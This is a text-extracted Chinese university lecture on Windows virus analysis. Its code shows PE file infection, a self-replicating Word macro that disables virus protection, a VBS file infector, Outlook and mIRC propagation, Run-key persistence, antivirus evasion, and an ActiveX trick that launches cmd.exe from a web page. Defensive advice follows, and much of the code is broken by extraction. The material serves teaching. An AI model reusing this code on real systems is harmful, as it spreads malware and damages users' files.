版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领
文档简介
1、计算机病毒Computer Virus傅建明Fujms; fujms武汉大学计算机学院 1精选ppt课件第五章 Windows病毒分析5.1 Win32 PE病毒5.2 宏病毒5.3 脚本病毒5.4 网页病毒5.5 网络蠕虫2精选ppt课件5.1 Win32 PE病毒SMC, Self Modifying CodeWin32 PE病毒原理Win32 PE病毒样例3精选ppt课件SMCWin32应用程序是运行在保护模式下的,每个Win32应用程序都有相互独立的4GB地址空间,没有段的区分,但不能在程序运行的过程中随便更改代码段。一般有data段和text段,编译器可以为不同的段指定不同属性。如何
2、实现SMC?其实关键就在于链接时的参数,只要指定了代码段的属性是可写的(默认的参数是不可写的)。在编译、链接带有SMC的Win32ASM时应该这样做:ml /c /coff %1.asmlink /subsystem:windows /section:.text,RWE %1.obj4精选ppt课件SMC样例ShowMessage protoReplaceMent proto.dataszMsg1 db 这是未执行SMC之前的代码!, 0szMsg2 db SMC已经执行!, 0szCaption db SMC demo by LC, 2002, 0Replace_Len dd 05精选ppt
3、课件SMC样例.codemain: ;第一次执行子程序ShowMessage,此时还没执行SMC操作 invoke ShowMessage lea eax, ReplaceMentEnd ;标号ReplaceMent的结束 lea edx, ReplaceMentStart ;标号ReplaceMent的开始 sub eax, edx ;标号ReplaceMent的长度 mov Replace_Len, eax ;把长度储存起来 ;关键代码! lea esi, ReplaceMentStart ;标号ReplaceMent的开始 lea edi, ShowMessageStart ;原程序Sh
4、owMessage的标号的开始 mov ecx, Replace_Len ;标号ReplaceMent的长度 rep movsb ;这里是最关键的语句!执行SMC操作!;第二次执行子程序ShowMessage,其内容已经不是第一次运行时的内容 invoke ShowMessage invoke ExitProcess, 0 6精选ppt课件ShowMessage proc ;这里用“:”的话,就能够使标号成为全局性的 ShowMessageStart: invoke MessageBox, NULL, addr szMsg1, addr szCaption, MB_OK ShowMessage
5、End: ;用nop来预留空间,以便后面的SMC能够成功执行; ;否则如果空间不够,将有可能产生不可预测的错误: nop retShowMessage endpReplaceMent proc ;将要用来SMC的代码: ReplaceMentStart: invoke MessageBox, NULL, addr szMsg2, addr szCaption, MB_OK or MB_ICONINFORMATION ReplaceMentEnd: retReplaceMent endpend main7精选ppt课件Win32 PE病毒原理一、病毒的重定位 病毒不可避免也要用到变量(常量),当
6、病毒感染HOST程序后,由于其依附到HOST程序中的位置各有不同,病毒随着HOST载入内存后,病毒中的各个变量(常量)在内存中的位置自然也会随着发生变化。 8精选ppt课件Win32 PE病毒原理 call delta ;执行后,堆栈顶端为delta在内存中的真正地址delta:pop ebp ;这条语句将delta在内存中的真正地址存放在ebp寄存器中 lea eax,ebp+(offset var1-offset delta) ;这时eax中存放着var1在内存中的真实地址 9精选ppt课件Win32 PE病毒原理二、获取API函数地址 Win32 PE病毒和普通Win32 PE程序一样需
7、要调用API函数,但是普通的Win32 PE程序里面有一个引入函数表,该函数表对应了代码段中所用到的api函数在动态连接库中的真实地址。这样,调用api函数时就可以通过该引入函数表找到相应api函数的真正执行地址。 但是,对于Win32 PE病毒来说,他只有一个代码段,他并不存在引入函数段。要获得API函数地址,我们首先需要获得Kernel32的基地址。 10精选ppt课件Win32 PE病毒原理二、获取API函数地址当系统打开一个可执行文件的时候,它会调用Kernel32.dll中的CreateProcess函数;CreateProcess函数在完成装载应用程序后,会先将一个返回地址压入到堆
8、栈顶端,然后转向执行刚才装载的应用程序。当该应用程序结束后,会将堆栈顶端数据弹出放到IP中,继续执行。刚才堆栈顶端保存的数据是什么呢?这个数据其实就是在Kernal32.dll中的返回地址。 11精选ppt课件mov ecx,esp ;将堆栈顶端的数据(返回Kernel32的地址)赋给ecxxor edx,edxgetK32Base: dec ecx ;逐字节比较验证,也可以一页一页地搜 mov dx,word ptr ecx+IMAGE_DOS_HEADER.e_lfanew ;就是ecx+3ch test dx,0f000h ;Dos Header+stub不可能太大,超过4096byte
9、 jnz getK32Base ;加速检验 cmp ecx,dword ptr ecx+edx+IMAGE_NT_HEADERS.OptionalHeader.ImageBase jnz getK32Base ;看Image_Base值是否等于ecx即模块起始值 mov ebp+offset k32Base,ecx ;如果是,到kernel32的Base值 12精选ppt课件a)已知函数的导出序号(1)定位到PE文件头。(2)从PE文件头中的可选文件头中取出数据目录表的第一个数据目录,得到导出表的地址。(3)从导出表的Base字段取得起始序号。(4)将需要查找的导出序号减去起始序号,得到函数在
10、入口地址表中的索引。(5)检查索引值是否大于等于导出表中的函数个数。如果大于的话,说明输入的序号无效。(6)用该索引值在AddressOfFunctions字段指向的导出函数入口地址表中取出相应的项目,这就是函数的入口地址RVA值,当函数被装入内存后,这个RVA值加上模块实际装入的基址(ImageBase),就得到了函数真正的入口地址。13精选ppt课件b)从函数名称查找入口地址(1)定位到PE文件头。(2)从PE文件头中的可选文件头中取出数据目录表的第一个数据目录,得到导出表的地址。(3)从导出表的NumberOfNames字段得到以命名函数的总数,并以这个数字做微循环的次数来构造一个循环。
11、(4)从AddressOfNames字段指向的函数名称地址表的第一项开始,在循环中将每一项定义的函数名与要查找的函数名比较,如果没有任何一个函数名符合,说明文件中没有指定名称的函数。(5)如果某一项定义的函数名与要查找的函数名符合,那么记住这个函数名在字符串地址表中的索引值(如x),然后在AddressOfNameOrdinals指向的数组中以同样的索引值x去找数组项中的值,假如该值为m。(6)以m值作为索引值,在AddressOfFunctions字段指向的函数入口地址表中获取的RVA就是函数的入口地址,当函数被装入内存后,这个RVA值加上模块实际装入的基址(ImageBase),就得到了函
12、数真正的入口地址。14精选ppt课件Win32 PE病毒原理三、关于文件搜索 搜索文件是病毒寻找目标文件的非常重要的功能。在Win32汇编中,通常采用两个API函数进行文件搜索。a)FindFirstFile b) FindNextFile C) FindClose 15精选ppt课件WIN32_FIND_DATA STRUCT dwFileAttributes DWORD ?/文件属性, /如果改值为FILE_ATTRIBUTE_DIRECTORY,则说明是目录 ftCreationTime FILETIME /文件创建时间 ftLastAccessTime FILETIME /文件或目录的
13、访问时间 ftLastWriteTime FILETIME /文件最后一次修改时间,对于目录是创建时间 nFileSizeHigh DWORD ?/文件大小的高位 nFileSizeLow DWORD ? /文件大小的地位 dwReserved0 DWORD ?/保留 dwReserved1 DWORD ?/保留 cFileName BYTE MAX_PATH dup(?) /文件名字符串,以0结尾 cAlternate BYTE 14 dup(?)/8.3格式的文件名WIN32_FIND_DATA ENDS16精选ppt课件Win32 PE病毒原理四、内存映射文件 内存映射文件提供了一组独立
14、的函数,是应用程序能够通过内存指针像访问内存一样对磁盘上的文件进行访问。这组内存映射文件函数将磁盘上的文件的全部或者部分映射到进程虚拟地址空间的某个位置,以后对文件内容的访问就如同在该地址区域内直接对内存访问一样简单。这样,对文件中数据的操作便是直接对内存进行操作,大大地提高了访问的速度,这对于计算机病毒来说,对减少资源占有是非常重要的。17精选ppt课件Win32 PE病毒原理在计算机病毒中,通常采用如下几个步骤:a) 调用CreateFile函数打开想要映射的HOST程序,返回文件句柄hFile。b) 调用CreateFileMapping函数生成一个建立基于HOST文件句柄hFile的内
15、存映射对象,返回内存映射对象句柄hMap。c) 调用MapViewOfFile函数将整个文件(一般还要加上病毒体的大小)映射到内存中。得到指向映射到内存的第一个字节的指针(pMem)。d) 用刚才得到的指针pMem对整个HOST文件进行操作,对HOST程序进行病毒感染。e) 调用UnmapViewFile函数解除文件映射,传入参数是pMem。f)调用CloseHandle来关闭内存映射文件,传入参数是hMa 18精选ppt课件五、病毒如何感染其他文件 PE病毒常见的感染其他文件的方法是在文件中添加一个新节,然后往该新节中添加病毒代码和病毒执行后的返回Host程序的代码,并修改文件头中代码开始执
16、行位置(AddressOfEntryPoint)指向新添加的病毒节的代码入口,以便程序运行后先执行病毒代码。主要的工作:1、增加一个节表项 ;2、增加节表指向的数据段(病毒代码);/注意对齐3、调整文件映像尺寸,节表数。SizeofImage/NumberofSectionsWin32 PE病毒原理19精选ppt课件 感染文件的基本步骤:1判断目标文件开始的两个字节是否为“MZ”。2判断PE文件标记“PE”。3判断感染标记,如果已被感染过则跳出继续执行HOST程序,否则继续。4获得Directory(数据目录)的个数,(每个数据目录信息占8个字节)。5得到节表起始位置。(Directory的偏
17、移地址+数据目录占用的字节数=节表起始位置)6得到目前最后节表的末尾偏移(紧接其后用于写入一个新的病毒节)节表起始位置+节的个数*(每个节表占用的字节数28H)=目前最后节表的末尾偏移。 7开始写入节表 Win32 PE病毒原理20精选ppt课件 a) 写入节名(8字节)。b) 写入节的实际字节数(4字节)。c) 写入新节在内存中的开始偏移地址(4字节),同时可以计算出病毒入口位置上节在内存中的开始偏移地址+(上节大小/节对齐+1)节对齐=本节在内存中的开始偏移地址。d) 写入本节(即病毒节)在文件中对齐后的大小。e) 写入本节在文件中的开始位置。上节在文件中的开始位置+上节对齐后的大小=本节
18、(即病毒)在文件中的开始位置。f) 修改映像文件头中的节表数目。g) 修改AddressOfEntryPoint(即程序入口点指向病毒入口位置),同时保存旧的AddressOfEntryPoint,以便返回HOST继续执行。h) 更新SizeOfImage(内存中整个PE映像尺寸=原SizeOfImage+病毒节经过内存节对齐后的大小)。i) 写入感染标记(后面例子中是放在PE头中)。j) 写入病毒代码到新添加的节中。ECX =病毒长度ESI =病毒代码位置(并不一定等于病毒执行代码开始位置)EDI=病毒节写入位置(后面例子是在内存映射文件中的相应位置)将当前文件位置设为文件末尾。 21精选p
19、pt课件Win32 PE病毒原理六、病毒如何返回到Host程序 返回HOST程序相对来说比较简单,病毒在修改被感染文件代码开始执行位置(AddressOfEntryPoint)时,会保存原来的值,这样,病毒在执行完病毒代码之后用一个跳转语句跳到这段代码处继续执行即可。 22精选ppt课件Win32 PE病毒-样例Main.asm:S_api.asm:API地址Modipe.asm:增加新节,修改相应参数值Dis_len.asm:显示信息23精选ppt课件宏病毒定义:宏病毒是使用宏语言编写的程序,可以在一些数据处理系统中运行(主要是微软的办公软件系统,字处理、电子数据表和其他Office程序中)
20、,存在于字处理文档、数据表格、数据库、演示文档等数据文件中,利用宏语言的功能将自己复制并且繁殖到其他数据文档里。一段宏程序可以附着在一个文档文件后面。(寄生)宏程序可以从一个文件拷贝到另外一个文件。(传染)存在一种宏程序可以不需要用户的干预而自动执行的机制。(控制权)24精选ppt课件宏病毒的感染都是通过宏语言本身的功能实现的,比如说增加一个语句、增加一个宏等等,宏病毒的执行离不开宏语言运行环境。 宏病毒是跨平台的。所谓宏,就是指一段类似于批处理命令的多行代码的集合。在Word中可以通过ALT+F8查看存在的宏,通过ALT+F11调用宏编辑窗口。 宏病毒25精选ppt课件Sub MyFirst
21、VBAProcedure() Dim NormProjMsgbox 欢迎光临武汉大学信息安全实验室!,0,宏病毒测试Set NormProj = NormalTemplate.VBProjectMsgBox NormProj.Name, 0, 模块文件名 显示模板文件的名字With Assistant.NewBalloon 调出助手 .Icon = msoIconAlert .Animation = msoAnimationGetArtsy .Heading = Attention,Please! .Text = Today I turn into a martian! .ShowEnd Wi
22、thEnd Sub 宏病毒26精选ppt课件使用微软的字处理软件WORD,用户可以进行打开文件、保存文件、打印文件和关闭文件等操作。 宏病毒获取控制权27精选ppt课件On Error Resume Next如果发生错误,不弹出出错窗口,继续执行下面语句Application.DisplayAlerts = wdAlertsNone 不弹出警告窗口Application.EnableCancelKey = wdCancelDisabled 不允许通过ESC键结束正在运行的宏Application.DisplayStatusBar = False 不显示状态栏,以免显示宏的运行状态Options
23、.VirusProtection = False 关闭病毒保护功能,运行前如果包含宏,不提示Options.SaveNormalPrompt = False 如果公用模块被修改,不给用户提示窗口而直接保存Application.ScreenUpdating = False 不让刷新屏幕,以免病毒运行引起速度变慢 宏病毒的隐藏28精选ppt课件宏病毒的隐藏病毒为了防止被用户手工发现,他会屏蔽一些命令菜单功能,譬如“工具宏”等菜单按钮的功能。 Sub ViewVBCode()End Sub ViewCode:该过程和ViewVBCode函数一样,如果用户按工具栏上的小图标就会执行这个过程。Tool
24、sMacro:当用户按下“ALT+F8”或者“工具宏”时调用的过程函数。FileTemplates:当显示一个模板的所有宏时,调用的过程函数 29精选ppt课件宏病毒的隐藏来使菜单按钮失效: CommandBars(Tools).Controls(16).Enabled = False 用来使“工具宏”菜单失效的语句CommandBars(“Tools”).Controls(16).Delete 删除“工具宏”菜单 CommandBars(i).Controls(j).Enabled = False 30精选ppt课件宏病毒如何传播 宏分成两种,一种是每个文档中间包含的内嵌的宏,譬如FileO
25、pen宏,另外一种是属于WORD应用程序,为所有打开的文档共用的宏,譬如AutoOpen宏。任何WORD宏病毒一般首先都是藏身在一个指定的WORD文件中,一旦打开了这个WORD文件,宏病毒就被执行了,宏病毒要做的第一件事情就是将自己拷贝到全局宏的区域,使得所有打开的文件都会使用这个宏。当WORD退出的时候,全局宏将被存放在某个全局的模板文件(.DOT文件)中,这个文件的名字通常是“NORMAL.DOT”,也就是前面讲到的Normal模板。 31精选ppt课件宏病毒如何传播Sub AutoClose() On Error Resume Next Application.DisplayAlerts
26、 = wdAlertsNoneApplication.EnableCancelKey = wdCancelDisabledApplication.DisplayStatusBar = FalseOptions.VirusProtection = FalseOptions.SaveNormalPrompt = False 以上是病毒基本的自我保护措施Set Doc = ActiveDocument.VBProject.VBComponents 取当前活动文档中工程组件集合Set Tmp = NormalTemplate.VBProject.VBComponents 取Word默认模板中工程组件集
27、合Const ExportSource = c:jackie.sysConst VirusName = AIGTMV 该字符串相当于一个病毒感染标志Application.VBE.ActiveVBProject.VBComponents(VirusName).Export ExportSource 将当前病毒代码导出到c:jackie.sys文件保存 32精选ppt课件宏病毒如何传播For i = 1 To Tmp.CountIf Tmp(i).Name = VirusName Then TmpInstalled = 1Next i 检查模板是否已经被感染病毒 For j = 1 To Doc
28、.CountIf Doc(j).Name = VirusName Then DocInstalled = 1Next j 检查当前活动文档是否已被感染病毒If TmpInstalled = 0 Then 如果模板没有被感染,对其进行感染Tmp.Import ExportSource 从c:jackie.sys将病毒导入模板NormalTemplate.Save 自动保存模板,以免引起用户怀疑End If If DocInstalled = 0 Then 如果当前活动文档没有被感染Doc.Import ExportSource 从c:jackie.sys将病毒导入当前活动文档ActiveDocu
29、ment.SaveAs ActiveDocument.FullName 自动保存当前活动文档End If MsgBox Word instructional macro by jackie, 0, Word.APMP End Sub 33精选ppt课件宏病毒如何传播1Export用来将当前对象保存到目标文件,注意目标文件必须是不存在的,否则会出现错误。它使用如下形式进行调用:object.Export(filename)。2Import用来将目标文件代码导入到当前对象,目标文件应该是已经存在的。它使用如下形式进行调用:object.Import(filename)。3AddFromFile用来
30、将目标文件导入到当前模块对象。它使用如下形式进行调用 :object.AddFormFile filename。其中object为标准模块或类模块。4AddFromString该方法用来将一段字符串插入到当前对象中。它使用如下形式进行调用:object.AddFromString stringexpression。其中其中object为标准模块或类模块,stringexpression为字符串表达式。34精选ppt课件5Lines该方法用来获取一个文档中的某些行。它使用如下形式进行调用:object.Lines(startline,count),其中其中object为标准模块或类模块,其中st
31、artline为开始的行号,count为要获得的行数。6InsertLines该方法用来在当前对象的某个位置插入一行或多行代码。它使用如下形式进行调用:object.InsertLines line,code。其中object为标准模块或类模块,line为要从当前文档插入的行号,code为要插入的代码变量。7DeleteLines该方法用来删除当前对象的代码行。它使用如下形式进行调用:object.DeleteLines startline, count。其中其中其中object为标准模块或类模块,其中startline为开始的行号,count为要删除的行数。8ReplaceLine该方法用来
32、替换当前代码对象中相应的行。它使用如下形式进行调用:object.ReplaceLine(line,code)。其中object为标准模块或类模块,line为要被替换行的行号,code为对行进行替换的代码。9Item该方法用来取组件的对象。其使用如下形式进行调用:object.Item(index)。其中index为对象集合中的序号。 35精选ppt课件有一些简单的办法可以判断一个文件是否被宏病毒感染。首先打开你的WORD,选择菜单:工具(Tools)宏(Macro)宏列表(Macros),或者直接按ALT+F11,如果发现里面有很多以“Auto”开始的宏,那么你很可能被宏病毒感染了。 宏病毒
33、如何发现36精选ppt课件脚本病毒任何语言都是可以编写病毒的。而用脚本编写病毒,则尤为简单并且编出的病毒具有传播快、破坏力大的特点。譬如爱虫病毒及新欢乐时光病毒、叛逃者病毒就是采用VBS脚本编写的。另外还有PHP,JS脚本病毒等。37精选ppt课件WSH介绍 WSH,是“Windows Scripting Host”的缩略形式,其通用的中文译名为“Windows 脚本宿主”。 一个脚本文件,后缀为 .VBS 或 .JS,然后在 Windows 下双击执行它,这时,系统就会自动调用一个适当的程序来对它进行解释并执行,而这个程序就是Windows Scripting Host,程序执行文件名为Ws
34、cript.exe (若是在命令行下,则为 Cscript.exe)。38精选ppt课件WSH的作用脚本带来非常强大的功能,例如:我们可以利用它完成映射网络驱动器、检索及修改环境变量、处理注册表项、对文件系统进行操作等工作;管理员还可以使用WSH的支持功能来创建简单的登陆脚本,甚至可以编写脚本来管理活动目录。 39精选ppt课件WSH的内置对象40精选ppt课件WSH的内置对象Wscript对象的主要作用是提取命令行变量,确定脚本文件名,确定 WSH 执行文件名(wscript.exe 还是 cscript.exe),确认 host 版本信息,创建、关联及分离 COM 对象,写入事件,按程序结
35、束一个脚本文件的运行,向默认的输出设备(如对话框、命令行)输出信息等。 41精选ppt课件WSH的内置对象WshArguments 的作用是获取全部的命令行变量;WshNamed负责获取指定的命令行参数WshUnnamed负责获取未经指定的命令行参数集;WshNetwork的主要作用是开放或关闭网络共享,连接或断开网络打印机,映射或取消网络中的共享,获取当前登陆用户的信息;WshController可以创建一个远程脚本对象 42精选ppt课件WSH的内置对象WshRemote可以实现网络中对计算机系统的远程管理,也可按计划对其它程序/脚本进行处理;WshRemote Error的作用在于:当一
36、个远程脚本(WshRemote 对象)因脚本错误而终止时,获取可用的错误信息;WshShell 主要负责程序的本地运行,处理注册表项、创建快捷方式、获取系统文件夹信息,处理环境变量;WshShortcut主要用于按计划创建快捷方式;WshSpecialfolders用于获取任意一个 Windows特殊文件夹的信息; 43精选ppt课件WSH的内置对象WshURLShortcut用于按程序要求创建进入互联网资源的快捷方式;WshEnvironment用于获取任意的环境变量(如WINDIR,PATH,或PROMPT);WshScriptExec 用于确定一个脚本文件的运行状态及错误信息。 44精选
37、ppt课件WSH的使用以任何文本编辑器编辑,然后保存为.js /.vbs。EX1:WScript.Echo(“欢迎光临武汉大学信息安全实验室”) 45精选ppt课件WSH的使用EX2:dim newdirset newdir=wscript.createobject(scripting.filesystemobject)for k=1 to 10anewfolder=c:chapter & knewdir.createfolder(anewfolder)next46精选ppt课件VBS脚本病毒的特点 1编写简单。一个对病毒一无所知的电脑使用者也可以在很短的时间里编出一个新型病毒来。 2破坏力大
38、。其破坏力不仅表现在对文件系统及机器性能的破坏。它还可以使邮件服务器崩溃,网络发生严重阻塞。 3感染力强。由于脚本是直接解释执行,并且它不需要像PE病毒那样做复杂的PE文件字段处理,因此这类病毒可以直接通过自我复制的方式感染其他同类文件,并且自我的异常处理变得非常容易。 47精选ppt课件VBS脚本病毒的特点4传播范围大。这类病毒还可以通过HTML和ASP等网页文件、Email附件、KaZaA等网络共享工具和IRC传播,可以在很短时间内传遍世界各地。5病毒源码容易被获取,变种多。由于VBS病毒解释执行,其源代码可读性非常强,即使病毒源码经过加密处理后,其源代码的获取还是比较简单。48精选ppt
39、课件VBS脚本病毒的特点6欺骗性强。脚本病毒为了得到运行机会,往往会采用各种让用户不大注意的手段,譬如,邮件的附件名采用双后缀,如.jpg.vbs,由于系统默认不显示后缀,这样,用户看到这个文件的时候,就会认为它是一个jpg图片文件。 7使得病毒生产机实现起来非常容易。 49精选ppt课件VBS脚本病毒如何感染、搜索文件 set fso=createobject(scripting.filesystemobject) 创建一个文件系统对象set self=fso.opentextfile(wscript.scriptfullname,1)读打开当前文件(即病毒本身)vbscopy=self.r
40、eadall 读取病毒全部代码到字符串变量vbscopy set ap=fso.opentextfile(目标文件.path,2,true) 写打开目标文件,准备写入病毒代码ap.write vbscopy 将病毒代码覆盖目标文件ap.closeset cop=fso.getfile(目标文件.path)得到目标文件路径cop.copy(目标文件.path & .vbs) 创建另外一个病毒文件(以.vbs为后缀)cop.delete(true) 删除目标文件 50精选ppt课件sub scan(folder_) scan函数定义,on error resume next 如果出现错误,直接跳过
41、,防止弹出错误窗口set folder_=fso.getfolder(folder_)set files=folder_.files 当前目录的所有文件集合for each file in files 对文件集合中的每个文件进行下面的操作ext=fso.GetExtensionName(file)获取文件后缀ext=lcase(ext) 后缀名转换成小写字母if ext=mp5 then 如果后缀名是mp5,则进行感染。 Wscript.echo (file) 在实际病毒中这里会调用病毒传染或破坏模块end ifnextset subfolders=folder_.subfoldersfor
42、each subfolder in subfolders 搜索其他目录;递归调用scan( ) scan(subfolder)next end sub 51精选ppt课件通过Email附件传播设置 Outlook对象 = 脚本引擎.创建对象(Outlook.Application) 设置 MAPI对象 = Outlook对象.获取名字空间(MAPI)For i=1 to MAPI对象.地址表.地址表的条目数 /两个for语句用来遍历整个地址簿 设置 地址对象 = MAPI对象.地址表(i) For j=1 To 地址对象.地址栏目.地址栏目数设置 邮件对象 = Outlook对象.创建项目(0
43、)设置 地址入口 地址对象.地址栏目(j)邮件对象.收件人地址入口.邮件地址邮件对象.主题 = “病毒传播实验”邮件对象.附件标题 = “这里是病毒邮件传播测试,收到此信请不要慌张!”邮件对象.附件.增加(“test.jpg.vbs“)邮件对象.发送邮件对象.发送后删除真NextNext设置MAPI对象 = 空设置Outlook对象 = 空 52精选ppt课件通过局域网共享传播 welcome_msg = 网络连接搜索测试Set WSHNetwork = WScript.CreateObject(WScript.Network) 创建一个网络对象Set oPrinters = WshNetwo
44、rk.EnumPrinterConnections 创建一个网络打印机连接列表WScript.Echo Network printer mappings:For i = 0 to oPrinters.Count - 1 Step 2 显示网络打印机连接情况WScript.Echo Port & oPrinters.Item(i) & = & oPrinters.Item(i+1)Next Set colDrives = WSHNetwork.EnumNetworkDrives 创建一个网络共享连接列表If colDrives.Count = 0 ThenMsgBox 没有可列出的驱动器。, v
45、bInformation + vbOkOnly,welcome_msg ElsestrMsg = 当前网络驱动器连接: & CRLFFor i = 0 To colDrives.Count - 1 Step 2 strMsg = strMsg & Chr(13) & Chr(10) & colDrives(i) & Chr(9) & colDrives(i + 1)Next 显示当前网络驱动器连接MsgBox strMsg, vbInformation + vbOkOnly, welcome_msgEnd If 53精选ppt课件通过感染htm、asp、jsp、php等网页文件传播 在注册表H
46、KEY_CLASSES_ROOTCLSID下我们可以找到这么一个主键F935DC22-1CF0-11D0-ADB9-00C04FD58A0B,注册表中对它他的说明是“Windows Script Host Shell Object”。同样,我们也可以找到0D43FE01-F093-11CF-8940-00A0C9054228,注册表对它的说明是“FileSystem Object”。 54精选ppt课件Set Apple0bject = document.applets(KJ_guest)Apple0bject.setCLSID(F935DC22-1CF0-11D0-ADB9-00C04FD5
47、8A0B)Apple0bject.createInstance() 创建一个实例Set WsShell = Apple0bject.Get0bject()Apple0bject.setCLSID(0D43FE01-F093-11CF-8940-00A0C9054228)Apple0bject.createInstance() 创建一个实例 Set FS0 = Apple0bject.Get0bject() 55精选ppt课件通过IRC聊天通道传播 Dim mirc set fso=CreateObject(Scripting.FileSystemObject)set mirc=fso.Crea
48、teTextFile(C:mircscript.ini) 创建文件script.inifso.CopyFile Wscript.ScriptFullName, C:mircattachment.vbs, True 将病毒文件备份到attachment.vbsmirc.WriteLine scriptmirc.WriteLine n0=on 1:join:*.*: if ( $nick !=$me ) halt /dcc send $nick C:mircattachment.vbs 利用命令/ddc send $nick attachment.vbs给通道中的其他用户传送病毒文件mirc.Cl
49、ose 56精选ppt课件VBS脚本病毒如何获得控制权 1)修改注册表项Windows在启动的时候,会自动加载HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun项下的各键值所执向的程序。脚本病毒可以在此项下加入一个键值指向病毒程序,这样就可以保证每次机器启动的时候拿到控制权。VBS修改注册表的方法比较简单,直接调用下面语句即可。 WSH.RegWrite(strName, anyValue ,strType) 57精选ppt课件VBS脚本病毒如何获得控制权2)通过映射文件执行方式譬如,我们新欢乐时光将dll的执行方式修改为ws
50、cript.exe。甚至可以将exe文件的映射指向病毒代码。3)欺骗用户,让用户自己执行这种方式其实和用户的心理有关。譬如,病毒在发送附件时,采用双后缀的文件名,由于默认情况下,后缀并不显示,举个例子,文件名为beauty.jpg.vbs的VBS程序显示为beauty.jpg,这时用户往往会把它当成一张图片去点击。 58精选ppt课件VBS脚本病毒如何获得控制权4)desktop.ini和folder.htt互相配合这两个文件可以用来配置活动桌面,也可以用来自定义文件夹。如果用户的目录中含有这两个文件,当用户进入该目录时,就会触发folder.htt中的病毒代码。这是新欢乐时光病毒采用的一种比
51、较有效的获取控制权的方法。(winfile)59精选ppt课件VBS脚本病毒对抗反病毒软件的几种技巧 1)自加密 RandomizeSet Of = CreateObject(Scripting.FileSystemObject) 创建文件系统对象vC = Of.OpenTextFile(WScript.ScriptFullName, 1).Readall 读取自身代码fS = Array(Of, vC, fS, fSC) 定义一个即将被替换字符的数组For fSC = 0 To 3vC = Replace(vC, fS(fSC), Chr(Int(Rnd * 22) + 65) & Chr(
52、Int(Rnd * 22) + 65) & Chr(Int(Rnd * 22) + 65) & Chr(Int(Rnd * 22) + 65) 取4个随机字符替换数组fS中的字符串NextOf.OpenTextFile(WScript.ScriptFullName, 2, 1).Writeline vC 将替换后的代码写回文件 60精选ppt课件VBS脚本病毒对抗反病毒软件的几种技巧2)巧妙运用Execute函数当一个正常程序中用到了FileSystemObject对象的时候,有些反病毒软件会在对这个程序进行扫描的时候报告说此VBS文件的风险为高,但是有些VBS脚本病毒同样采用了FileSys
53、temObject对象,为什么却又没有任何警告呢?原因很简单,就是因为这些病毒巧妙的运用了Execute方法。有些杀毒软件检测VBS病毒时,会检查程序中是否声明使用了FileSystemObject对象,如果采用了,这会发出报警。如果病毒将这段声明代码转化为字符串,然后通过Execute(String)函数执行,就可以躲避某些反病毒软件。61精选ppt课件VBS脚本病毒对抗反病毒软件的几种技巧3)改变某些对象的声明方法譬如fso=createobject(scripting.filesystemobject),我们将其改变为fso=createobject(“script”“ing.files
54、yste”“mobject”),这样反病毒软件对其进行静态扫描时就不会发现filesystemobject对象。 (修改CLSID/或filesystemoject)4)直接关闭反病毒软件 62精选ppt课件VBS脚本病毒的弱点 1)绝大部分VBS脚本病毒运行的时候需要用到一个对象:FileSystemObject2)VBScript代码是通过Windows Script Host来解释执行的。3)VBS脚本病毒的运行需要其关联程序Wscript.exe的支持。4)通过网页传播的病毒需要ActiveX的支持5)通过Email传播的病毒需要OutlookExpress的自动发送邮件功能支持,但是
55、绝大部分病毒都是以Email为主要传播方式的。63精选ppt课件如何预防和解除VBS脚本病毒 禁用文件系统对象FileSystemObject用regsvr32 scrrun.dll /u命令可以禁止文件系统对象。其中regsvr32是WindowsSystem下的可执行文件。或者直接查找scrrun.dll文件删除或者改名。卸载Windows Scripting Host在Windows 2k中(NT 4.0以上同理),打开控制面板添加/删除程序Windows安装程序附件,取消“Windows Scripting Host”一项。删除VBS、VBE、JS、JSE文件后缀名与应用程序的映射64
56、精选ppt课件如何预防和解除VBS脚本病毒在Windows目录中,找到WScript.exe,更改名称或者删除,如果你觉得以后有机会用到的话,最好更改名称好了,当然以后也可以重新装上。自定义安全级别:要彻底防治VBS网络蠕虫病毒,还需设置一下你的浏览器。我们首先打开浏览器,单击菜单栏里“Internet 选项”安全选项卡里的自定义级别按钮.禁止OutlookExpress的自动收发邮件功能.65精选ppt课件如何预防和解除VBS脚本病毒显示扩展名。由于蠕虫病毒大多利用文件扩展名作文章,所以要防范它就不要隐藏系统中已知文件类型的扩展名。Windows默认的是“隐藏已知文件类型的扩展名称”,将其修
57、改为显示所有文件类型的扩展名称。将系统的网络连接的安全级别设置至少为“中等”,它可以在一定程度上预防某些有害的Java程序或者某些ActiveX组件对计算机的侵害。 杀毒软件 66精选ppt课件爱虫病毒分析 2000年5月4日,爱虫开始在欧美大陆迅速传播。这个病毒是通过Microsoft Outlook电子邮件系统传播的,邮件的主题为“I LOVE YOU”,并包含一个病毒附件。用户一旦在Microsoft Outlook里打开这个邮件(实际上是运行病毒程序),系统就会对本地系统进行搜索感染复制并向地址簿中的所有邮件电址发送这个病毒。 67精选ppt课件爱虫病毒分析1Main()这是爱虫病毒的
58、主模块。它集成调用其他各个模块。2regruns()该模块主要用来修改注册表Run下面的启动项指向病毒文件、修改下载目录,并且负责随机从给定的四个网址中下载WIN_BUGSFIX.exe文件,并使启动项指向该文件。3html()该模块主要用来生成LOVE-LETTER-FOR-YOU.HTM文件,该HTM文件执行后会执行里面的病毒代码,并在系统目录生成一个病毒副本MSKernel32.vbs文件。68精选ppt课件爱虫病毒分析4spreadtoemail()该模块主要用于将病毒文件作为附件发送给Outlook地址簿中的所有用户。也是最后带来的破坏性最大的一个模块。5listadriv()该模块
59、主要用于搜索本地磁盘,并对磁盘文件进行感染。它调用了folderlist()函数,该函数主要用来遍历整个磁盘,对目标文件进行感染。folderlist()函数的感染功能实际上是调用了infectfile()函数,该函数可以对10多种文件进行覆盖,并且还会创建script.ini文件,以便于利用IRC通道传播。 69精选ppt课件网页病毒 网页病毒是指在HTML文件中用于非法修改用户机器配置的HTML文件,有别于一般通过网页传染的病毒。把com.ms.activeX.ActiveXComponent对象嵌入标记可能导致任意创建和解释执行ActiveX对象,从而可以创建任意文件、运行程序、写注册表
60、 .70精选ppt课件网页病毒wsh.Run(cmd.exe);/把“cmd.exe”改为“”则对Windows 95/98/ME也有效,下同。 71精选ppt课件网页病毒function runcmd()a=document.applets0;a.setCLSID(F935DC22-1CF0-11D0-ADB9-00C04FD58A0B);a.createInstance();wsh=a.GetObject();wsh.Run(cmd.exe);/改为“wsh.Run(cmd.exe,false,1);”则程序在后台隐藏运行setTimeout(runcmd(),10); 72精选ppt课件
温馨提示
